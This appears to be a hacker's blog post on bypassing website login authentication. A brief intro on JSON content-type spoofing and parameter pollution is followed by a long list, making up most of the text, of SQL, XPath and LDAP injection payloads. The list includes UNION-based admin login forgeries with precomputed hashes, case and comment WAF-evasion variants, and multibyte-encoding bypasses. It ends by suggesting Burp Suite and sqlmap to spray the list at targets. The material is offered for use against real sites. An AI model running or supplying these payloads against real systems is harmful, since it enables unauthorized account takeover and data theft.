One of the most obvious things us as hackers need to do is bypass authentication methods.
As authentication and authorization are different, you can be be authenticated without
being authorized to have that authentication level. Some of these methods will allow you
to elevate your priveleges into different parts of websites (or their respective services),
let you log in as another user and perform an account takeover, or gain Administrator level
access.
Primarily your issue is usually finding a leg up and a way to bypass the filters they are using
to prevent injections. Some of these teniques also include WAF evasion.
You should first always check if they left the restricted pages accessable by your own initial
userlevel… it happens.
Sometimes you can send a JSON object even if POST is disallowed with a GET request, change
the Content-Type to JSON with 1
Content-Type: application/json
, and the body containing the
JSON you need to spoof a login by sending something like 1
password":{"password": 1}
.
You can send your userid twice, with a valid logged in user and at the same time as a
user in a different account you would like to pivot to: 1
blah?id=realuser&id=fakeuser
You can also send raw JSON with a wildcard to tell some things “anything” or “all”, which
would look like:
.
admin
password
1234
123456
root
toor
test
guest
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
1234
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
1234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
1234 " AND 1=0 UNION ALL SELECT "admin", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
==
=
'
' --
' #
' –
'--
'/*
'#
" --
" #
"/*
' and 1='1
' and a='a
or true
' or ''='
" or ""="
1′) and '1′='1–
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
" AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
and 1=1
and 1=1–
' and 'one'='one
' and 'one'='one–
' group by password having 1=1--
' group by userid having 1=1--
' group by username having 1=1--
like '%'
or 0=0 --
or 0=0 #
or 0=0 –
' or 0=0 #
' or 0=0 --
' or 0=0 #
' or 0=0 –
" or 0=0 --
" or 0=0 #
" or 0=0 –
%' or '0'='0
or 1=1–
' or 1=1--
' or '1'='1
' or '1'='1'--
' or '1'='1'/*
' or '1'='1'#
' or '1′='1
' or 1=1
' or 1=1 --
' or 1=1 –
' or 1=1;#
' or 1=1/*
' or 1=1#
' or 1=1–
') or '1'='1
') or '1'='1--
') or '1'='1'--
') or '1'='1'/*
') or '1'='1'#
') or ('1'='1
') or ('1'='1--
') or ('1'='1'--
') or ('1'='1'/*
') or ('1'='1'#
'or'1=1
'or'1=1′
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 –
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1–
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1′='1–
) or ('1′='1–
' or 1=1 LIMIT 1;#
'or 1=1 or ''='
"or 1=1 or ""="
' or a=a--
' or a=a–
" or "a"="a
") or ("a"="a
') or ('a'='a and hi") or ("a"="a
' or 'one'='one
' or 'one'='one–
' or uid like '%
' or uname like '%
' or userid like '%
' or user like '%
' or username like '%
') or ('x'='x
' OR 'x'='x'#;
'=' 'or' and '=' 'or'
' UNION ALL SELECT 1, @@version;#
' UNION ALL SELECT system_user(),user();#
' UNION select table_schema,table_name FROM information_Schema.tables;#
admin' and substring(password/text(),1,1)='7
' and substring(password/text(),1,1)='7
"
'-- 2
"-- 2
'='
0'<'2
"="
0"<"2
')
")
')-- 2
')/*
')#
")-- 2
") #
")/*
')-('
')&('
')^('
')*('
')=('
0')<('2
")-("
")&("
")^("
")*("
")=("
0")<("2
'-''-- 2
'-''#
'-''/*
'&''-- 2
'&''#
'&''/*
'^''-- 2
'^''#
'^''/*
'*''-- 2
'*''#
'*''/*
'=''-- 2
'=''#
'=''/*
0'<'2'-- 2
0'<'2'#
0'<'2'/*
"-""-- 2
"-""#
"-""/*
"&""-- 2
"&""#
"&""/*
"^""-- 2
"^""#
"^""/*
"*""-- 2
"*""#
"*""/*
"=""-- 2
"=""#
"=""/*
0"<"2"-- 2
0"<"2"#
0"<"2"/*
')-''-- 2
')-''#
')-''/*
')&''-- 2
')&''#
')&''/*
')^''-- 2
')^''#
')^''/*
')*''-- 2
')*''#
')*''/*
')=''-- 2
')=''#
')=''/*
0')<'2'-- 2
0')<'2'#
0')<'2'/*
")-""-- 2
")-""#
")-""/*
")&""-- 2
")&""#
")&""/*
")^""-- 2
")^""#
")^""/*
")*""-- 2
")*""#
")*""/*
")=""-- 2
")=""#
")=""/*
0")<"2-- 2
0")<"2#
0")<"2/*
'oR'2
'oR'2'-- 2
'oR'2'#
'oR'2'/*
'oR'2'oR'
'oR(2)-- 2
'oR(2)#
'oR(2)/*
'oR(2)oR'
'oR 2-- 2
'oR 2#
'oR 2/*
'oR 2 oR'
'oR/**/2-- 2
'oR/**/2#
'oR/**/2/*
'oR/**/2/**/oR'
"oR"2
"oR"2"-- 2
"oR"2"#
"oR"2"/*
"oR"2"oR"
"oR(2)-- 2
"oR(2)#
"oR(2)/*
"oR(2)oR"
"oR 2-- 2
"oR 2#
"oR 2/*
"oR 2 oR"
"oR/**/2-- 2
"oR/**/2#
"oR/**/2/*
"oR/**/2/**/oR"
'oR'2'='2
'oR'2'='2'oR'
'oR'2'='2'-- 2
'oR'2'='2'#
'oR'2'='2'/*
'oR 2=2-- 2
'oR 2=2#
'oR 2=2/*
'oR 2=2 oR'
'oR/**/2=2-- 2
'oR/**/2=2#
'oR/**/2=2/*
'oR/**/2=2/**/oR'
'oR(2)=2-- 2
'oR(2)=2#
'oR(2)=2/*
'oR(2)=(2)oR'
'oR'2'='2' LimIT 1-- 2
'oR'2'='2' LimIT 1#
'oR'2'='2' LimIT 1/*
'oR(2)=(2)LimIT(1)-- 2
'oR(2)=(2)LimIT(1)#
'oR(2)=(2)LimIT(1)/*
"oR"2"="2
"oR"2"="2"oR"
"oR"2"="2"-- 2
"oR"2"="2"#
"oR"2"="2"/*
"oR 2=2-- 2
"oR 2=2#
"oR 2=2/*
"oR 2=2 oR"
"oR/**/2=2-- 2
"oR/**/2=2#
"oR/**/2=2/*
"oR/**/2=2/**/oR"
"oR(2)=2-- 2
"oR(2)=2#
"oR(2)=2/*
"oR(2)=(2)oR"
"oR"2"="2" LimIT 1-- 2
"oR"2"="2" LimIT 1#
"oR"2"="2" LimIT 1/*
"oR(2)=(2)LimIT(1)-- 2
"oR(2)=(2)LimIT(1)#
"oR(2)=(2)LimIT(1)/*
'oR true-- 2
'oR true#
'oR true/*
'oR true oR'
'oR(true)-- 2
'oR(true)#
'oR(true)/*
'oR(true)oR'
'oR/**/true-- 2
'oR/**/true#
'oR/**/true/*
'oR/**/true/**/oR'
"oR true-- 2
"oR true#
"oR true/*
"oR true oR"
"oR(true)-- 2
"oR(true)#
"oR(true)/*
"oR(true)oR"
"oR/**/true-- 2
"oR/**/true#
"oR/**/true/*
"oR/**/true/**/oR"
'oR'2'LiKE'2
'oR'2'LiKE'2'-- 2
'oR'2'LiKE'2'#
'oR'2'LiKE'2'/*
'oR'2'LiKE'2'oR'
'oR(2)LiKE(2)-- 2
'oR(2)LiKE(2)#
'oR(2)LiKE(2)/*
'oR(2)LiKE(2)oR'
"oR"2"LiKE"2
"oR"2"LiKE"2"-- 2
"oR"2"LiKE"2"#
"oR"2"LiKE"2"/*
"oR"2"LiKE"2"oR"
"oR(2)LiKE(2)-- 2
"oR(2)LiKE(2)#
"oR(2)LiKE(2)/*
"oR(2)LiKE(2)oR"
admin
admin'-- 2
admin'#
admin"-- 2
admin"#
ffifdyop
' UniON SElecT 1,2-- 2
' UniON SElecT 1,2,3-- 2
' UniON SElecT 1,2,3,4-- 2
' UniON SElecT 1,2,3,4,5-- 2
' UniON SElecT 1,2#
' UniON SElecT 1,2,3#
' UniON SElecT 1,2,3,4#
' UniON SElecT 1,2,3,4,5#
'UniON(SElecT(1),2)-- 2
'UniON(SElecT(1),2,3)-- 2
'UniON(SElecT(1),2,3,4)-- 2
'UniON(SElecT(1),2,3,4,5)-- 2
'UniON(SElecT(1),2)#
'UniON(SElecT(1),2,3)#
'UniON(SElecT(1),2,3,4)#
'UniON(SElecT(1),2,3,4,5)#
" UniON SElecT 1,2-- 2
" UniON SElecT 1,2,3-- 2
" UniON SElecT 1,2,3,4-- 2
" UniON SElecT 1,2,3,4,5-- 2
" UniON SElecT 1,2#
" UniON SElecT 1,2,3#
" UniON SElecT 1,2,3,4#
" UniON SElecT 1,2,3,4,5#
"UniON(SElecT(1),2)-- 2
"UniON(SElecT(1),2,3)-- 2
"UniON(SElecT(1),2,3,4)-- 2
"UniON(SElecT(1),2,3,4,5)-- 2
"UniON(SElecT(1),2)#
"UniON(SElecT(1),2,3)#
"UniON(SElecT(1),2,3,4)#
"UniON(SElecT(1),2,3,4,5)#
'||'2
'||2-- 2
'||'2'||'
'||2#
'||2/*
'||2||'
"||"2
"||2-- 2
"||"2"||"
"||2#
"||2/*
"||2||"
'||'2'='2
'||'2'='2'||'
'||2=2-- 2
'||2=2#
'||2=2/*
'||2=2||'
"||"2"="2
"||"2"="2"||"
"||2=2-- 2
"||2=2#
"||2=2/*
"||2=2||"
'||2=(2)LimIT(1)-- 2
'||2=(2)LimIT(1)#
'||2=(2)LimIT(1)/*
"||2=(2)LimIT(1)-- 2
"||2=(2)LimIT(1)#
"||2=(2)LimIT(1)/*
'||true-- 2
'||true#
'||true/*
'||true||'
"||true-- 2
"||true#
"||true/*
"||true||"
'||'2'LiKE'2
'||'2'LiKE'2'-- 2
'||'2'LiKE'2'#
'||'2'LiKE'2'/*
'||'2'LiKE'2'||'
'||(2)LiKE(2)-- 2
'||(2)LiKE(2)#
'||(2)LiKE(2)/*
'||(2)LiKE(2)||'
"||"2"LiKE"2
"||"2"LiKE"2"-- 2
"||"2"LiKE"2"#
"||"2"LiKE"2"/*
"||"2"LiKE"2"||"
"||(2)LiKE(2)-- 2
"||(2)LiKE(2)#
"||(2)LiKE(2)/*
"||(2)LiKE(2)||"
')oR('2
')oR'2'-- 2
')oR'2'#
')oR'2'/*
')oR'2'oR('
')oR(2)-- 2
')oR(2)#
')oR(2)/*
')oR(2)oR('
')oR 2-- 2
')oR 2#
')oR 2/*
')oR 2 oR('
')oR/**/2-- 2
')oR/**/2#
')oR/**/2/*
')oR/**/2/**/oR('
")oR("2
")oR"2"-- 2
")oR"2"#
")oR"2"/*
")oR"2"oR("
")oR(2)-- 2
")oR(2)#
")oR(2)/*
")oR(2)oR("
")oR 2-- 2
")oR 2#
")oR 2/*
")oR 2 oR("
")oR/**/2-- 2
")oR/**/2#
")oR/**/2/*
")oR/**/2/**/oR("
')oR'2'=('2
')oR'2'='2'oR('
')oR'2'='2'-- 2
')oR'2'='2'#
')oR'2'='2'/*
')oR 2=2-- 2
')oR 2=2#
')oR 2=2/*
')oR 2=2 oR('
')oR/**/2=2-- 2
')oR/**/2=2#
')oR/**/2=2/*
')oR/**/2=2/**/oR('
')oR(2)=2-- 2
')oR(2)=2#
')oR(2)=2/*
')oR(2)=(2)oR('
')oR'2'='2' LimIT 1-- 2
')oR'2'='2' LimIT 1#
')oR'2'='2' LimIT 1/*
')oR(2)=(2)LimIT(1)-- 2
')oR(2)=(2)LimIT(1)#
')oR(2)=(2)LimIT(1)/*
")oR"2"=("2
")oR"2"="2"oR("
")oR"2"="2"-- 2
")oR"2"="2"#
")oR"2"="2"/*
")oR 2=2-- 2
")oR 2=2#
")oR 2=2/*
")oR 2=2 oR("
")oR/**/2=2-- 2
")oR/**/2=2#
")oR/**/2=2/*
")oR/**/2=2/**/oR("
")oR(2)=2-- 2
")oR(2)=2#
")oR(2)=2/*
")oR(2)=(2)oR("
")oR"2"="2" LimIT 1-- 2
")oR"2"="2" LimIT 1#
")oR"2"="2" LimIT 1/*
")oR(2)=(2)LimIT(1)-- 2
")oR(2)=(2)LimIT(1)#
")oR(2)=(2)LimIT(1)/*
')oR true-- 2
')oR true#
')oR true/*
')oR true oR('
')oR(true)-- 2
')oR(true)#
')oR(true)/*
')oR(true)oR('
')oR/**/true-- 2
')oR/**/true#
')oR/**/true/*
')oR/**/true/**/oR('
")oR true-- 2
")oR true#
")oR true/*
")oR true oR("
")oR(true)-- 2
")oR(true)#
")oR(true)/*
")oR(true)oR("
")oR/**/true-- 2
")oR/**/true#
")oR/**/true/*
")oR/**/true/**/oR("
')oR'2'LiKE('2
')oR'2'LiKE'2'-- 2
')oR'2'LiKE'2'#
')oR'2'LiKE'2'/*
')oR'2'LiKE'2'oR('
')oR(2)LiKE(2)-- 2
')oR(2)LiKE(2)#
')oR(2)LiKE(2)/*
')oR(2)LiKE(2)oR('
")oR"2"LiKE("2
")oR"2"LiKE"2"-- 2
")oR"2"LiKE"2"#
")oR"2"LiKE"2"/*
")oR"2"LiKE"2"oR("
")oR(2)LiKE(2)-- 2
")oR(2)LiKE(2)#
")oR(2)LiKE(2)/*
")oR(2)LiKE(2)oR("
admin')-- 2
admin')#
admin')/*
admin")-- 2
admin")#
') UniON SElecT 1,2-- 2
') UniON SElecT 1,2,3-- 2
') UniON SElecT 1,2,3,4-- 2
') UniON SElecT 1,2,3,4,5-- 2
') UniON SElecT 1,2#
') UniON SElecT 1,2,3#
') UniON SElecT 1,2,3,4#
') UniON SElecT 1,2,3,4,5#
')UniON(SElecT(1),2)-- 2
')UniON(SElecT(1),2,3)-- 2
')UniON(SElecT(1),2,3,4)-- 2
')UniON(SElecT(1),2,3,4,5)-- 2
')UniON(SElecT(1),2)#
')UniON(SElecT(1),2,3)#
')UniON(SElecT(1),2,3,4)#
')UniON(SElecT(1),2,3,4,5)#
") UniON SElecT 1,2-- 2
") UniON SElecT 1,2,3-- 2
") UniON SElecT 1,2,3,4-- 2
") UniON SElecT 1,2,3,4,5-- 2
") UniON SElecT 1,2#
") UniON SElecT 1,2,3#
") UniON SElecT 1,2,3,4#
") UniON SElecT 1,2,3,4,5#
")UniON(SElecT(1),2)-- 2
")UniON(SElecT(1),2,3)-- 2
")UniON(SElecT(1),2,3,4)-- 2
")UniON(SElecT(1),2,3,4,5)-- 2
")UniON(SElecT(1),2)#
")UniON(SElecT(1),2,3)#
")UniON(SElecT(1),2,3,4)#
")UniON(SElecT(1),2,3,4,5)#
')||('2
')||2-- 2
')||'2'||('
')||2#
')||2/*
')||2||('
")||("2
")||2-- 2
")||"2"||("
")||2#
")||2/*
")||2||("
')||'2'=('2
')||'2'='2'||('
')||2=2-- 2
')||2=2#
')||2=2/*
')||2=2||('
")||"2"=("2
")||"2"="2"||("
")||2=2-- 2
")||2=2#
")||2=2/*
")||2=2||("
')||2=(2)LimIT(1)-- 2
')||2=(2)LimIT(1)#
')||2=(2)LimIT(1)/*
")||2=(2)LimIT(1)-- 2
")||2=(2)LimIT(1)#
")||2=(2)LimIT(1)/*
')||true-- 2
')||true#
')||true/*
')||true||('
")||true-- 2
")||true#
")||true/*
")||true||("
')||'2'LiKE('2
')||'2'LiKE'2'-- 2
')||'2'LiKE'2'#
')||'2'LiKE'2'/*
')||'2'LiKE'2'||('
')||(2)LiKE(2)-- 2
')||(2)LiKE(2)#
')||(2)LiKE(2)/*
')||(2)LiKE(2)||('
")||"2"LiKE("2
")||"2"LiKE"2"-- 2
")||"2"LiKE"2"#
")||"2"LiKE"2"/*
")||"2"LiKE"2"||("
")||(2)LiKE(2)-- 2
")||(2)LiKE(2)#
")||(2)LiKE(2)/*
")||(2)LiKE(2)||("
' UnION SELeCT 1,2`
' UnION SELeCT 1,2,3`
' UnION SELeCT 1,2,3,4`
' UnION SELeCT 1,2,3,4,5`
" UnION SELeCT 1,2`
" UnION SELeCT 1,2,3`
" UnION SELeCT 1,2,3,4`
" UnION SELeCT 1,2,3,4,5`
' or 1=1 limit 1 -- -+
'="or'
Pass1234.
Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658
Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#
Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.
Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#
Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#
Pass1234.' and 1=0 union select 'admin',sha('Pass1234.
Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
Pass1234." and 1=0 union select "admin",sha("Pass1234.
Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%A8%27 Or 1=1-- 2
%8C%A8%27 Or 1=1-- 2
%bf' Or 1=1 -- 2
%A8%27 Or 1-- 2
%8C%A8%27 Or 1-- 2
%bf' Or 1-- 2
%A8%27Or(1)-- 2
%8C%A8%27Or(1)-- 2
%bf'Or(1)-- 2
%A8%27||1-- 2
%8C%A8%27||1-- 2
%bf'||1-- 2
%A8%27) Or 1=1-- 2
%8C%A8%27) Or 1=1-- 2
%bf') Or 1=1 -- 2
%A8%27) Or 1-- 2
%8C%A8%27) Or 1-- 2
%bf') Or 1-- 2
%A8%27)Or(1)-- 2
%8C%A8%27)Or(1)-- 2
%bf')Or(1)-- 2
%A8%27)||1-- 2
%8C%A8%27)||1-- 2
%bf')||1-- 2
I would use use burpsuite and set it up to load the large list first and try all the different injection
styles against it, then analyze the results. Some of this is also covered in an autonomous way through
a tool called Sqlmap. Both of these tools are super useful in their own right, and may get their own
independant article soon.